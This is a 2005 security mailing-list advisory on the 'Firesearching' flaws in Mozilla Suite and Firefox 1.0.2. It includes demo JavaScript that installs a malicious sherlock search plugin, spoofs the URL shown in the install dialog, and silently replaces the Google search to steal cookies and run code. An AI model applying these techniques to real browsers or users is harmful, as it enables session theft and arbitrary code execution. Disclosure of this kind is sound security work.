From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 19 Apr 2005 11:25:37 +0200
Subject: [NEWS] Mozilla Suite and Firefox Firesearching Vulnerabilities
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050419085435.5EE6E577C@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Mozilla Suite and Firefox Firesearching Vulnerabilities
------------------------------------------------------------------------
SUMMARY
The search plugin technology in Firefox is based on Apple's sherlock
files, a simple text format to syndicate a search engine interface. The
installer and parser of those files contain design bugs that allow to
create a search engine that works as a spyware tool and/or execution
vehicle for arbitrary code.
By creating a special sherlock file it is possible to run JavaScript code
in security content of the currently active tab, and to overwrite an
existed search engine without a chance for the user to see what is going
on. This vulnerabilities allow attackers to steal sessions and cookies
from the users and also to execute arbitrary code, and to make a redirect
to a site instead of the user choice of search engine.
DETAILS
Vulnerable Systems:
* Mozilla suite version 1.0.2 and prior
* Firefox version 1.0.2 and prior
Immune Systems:
* Mozilla suite version 1.0.3
* Firefox version 1.0.3
Firesearching 1:
The vulnerability allow attackers to steal information from the users,
monitor their activities and also execute arbitrary code like spyware and
other type of monitoring tools.
The demo adds a new search engine (called Firesearching) by calling
sidebar.addSearchEngine() that behaves like a normal Google search. When
searching with that engine an alert shows that the engine has JavaScript
access to the currently active tab. An attacker could silently send the
information to another host instead.
When the currently displayed site is privileged (chrome or about:config)
the demo requests UniversalXPConnect rights, creates c:\booom.bat and
launches the batch file (shows a directory listing in a dos box). This
part is Windows only, which is a limitation of the demo - the bug affects
all platforms.
Example:
To reproduce:
1. Add the search engine
2. Search for any keyword (cookie message for mikx.de)
3. Search for any keyword again (cookie message for google.com)
4. Open about:config
5. Search for any keyword again (creates c:\booom.bat and launches it)
<script language="JavaScript" type="text/javascript">
function addSearch() {
window.sidebar.addSearchEngine(
"http://www.mikx.de/firesearching/firesearching.src",
"http://www.mikx.de/firesearching/firesearching.png",
"Firesearching",
"Web" );
}
<a href="javascript:addSearch()">Add Firesearching demo engine</a>
Firesearching 2:
The displayed name in the confirmation dialog is given as the third
parameter of sidebar.addSearchEngine(), but the displayed name in the
search dropdown is taken from the sherlock file. This way it is possible
to overwrite the default Google search with a modified version that
monitors the data and/or waits for a chance to run code. The string
"google.src" in the source URL got also be moved out of the dialog by
supplying a really long URL to the sherlock file (the dialog just cuts the
source URL when it's getting too long).
The user will probably think the search engine installation just failed,
because after confirming the installation dialog Firefox never displays an
error messages if the installation failed because e.g. the sherlock file
is broken or not found. Since there is no UI to see details about the
installed searches a common user will probably never find out that the
default Google search got modified. Using the built in sherlock update
feature an attacker also gets a decent update mechanism to modify the
scripts beyond the initial infection.
Example:
To reproduce:
1. Add the search engine
2. Search for any keyword (cookie message for mikx.de)
3. Search for any keyword again (cookie message for google.com)
4. Open about:config
5. Search for any keyword again (creates c:\booom.bat and launches it)
WARNING: Adding the Google "look-a-like" will overwrite you original
Google search! Make sure you have a backup of you google.src. You can
visit <http://mycroft.mozdev.org/quick/google.html>; mozdev.org to
re-install a real Google search.
function addGoogle() {
window.sidebar.addSearchEngine(
"http://www.mikx.de/firesearching/areallylongstringlthatmakesthedialogcuttheurltotheright...cuttheurltotheright/google.src",
"http://www.mikx.de/firesearching/areallylongstringlthatmakesthedialogcuttheurltotheright...cuttheurltotheright/google.png",
"Firesearching 'look-a-like'",
"Web" );
}
</script>
<a href="javascript:addGoogle()">Add Google "look-a-like" demo engine</a>
ADDITIONAL INFORMATION
The information has been provided by <mailto:mikx@mikx.de.> Michael Krax.
The original article can be found at: <http://www.mikx.de/firesearching/>;
http://www.mikx.de/firesearching/
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
